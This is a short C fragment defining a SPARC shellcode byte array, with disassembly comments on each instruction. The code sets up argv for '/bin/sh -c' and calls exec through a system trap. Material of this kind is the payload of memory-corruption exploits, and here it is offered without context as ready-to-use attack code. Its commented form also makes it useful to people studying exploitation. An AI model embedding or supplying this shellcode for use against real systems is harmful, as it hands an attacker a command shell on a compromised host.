char code[] =
"\x01\x00\x00\x00" /* nop */
"\x01\x00\x00\x00" /* nop */
"\x01\x00\x00\x00" /* nop */
"\x01\x00\x00\x00" /* nop */
"\x40\x00\x00\x02" /* call <.+8> <-- %o7 */
"\x90\x03\xe0\x28" /* add %o7,40,%o0 */
"\x92\x02\x20\x0c" /* add %o0,12,%o1 */
"\xd0\x22\x40\x00" /* st %o0,[%o1] */
"\xa0\x02\x20\x08" /* add %o0,8,%l0 */
"\xe0\x22\x60\x04" /* st %l0,[%o1+4] */
"\xa2\x02\x60\x10" /* add %o1,16,%l1 */
"\xe2\x22\x60\x08" /* st %l1,[%o1+8] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 exec() */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/sh\x00" /* argv[0][] <-- %o0 */
"-c\x00\x00" /* argv[1][] <-- %l0 */
"\x00\x00\x00\x00" /* argv[0] <-- %o1 */
"\x00\x00\x00\x00" /* argv[1] */
"\x00\x00\x00\x00" /* argv[2] */
"\x00\x00\x00\x00" /* argv[3] */
/* argv[2][] <-- %l1 */
;
#define CODESIZE ((sizeof code) - 1) /* subtract final \0 */
|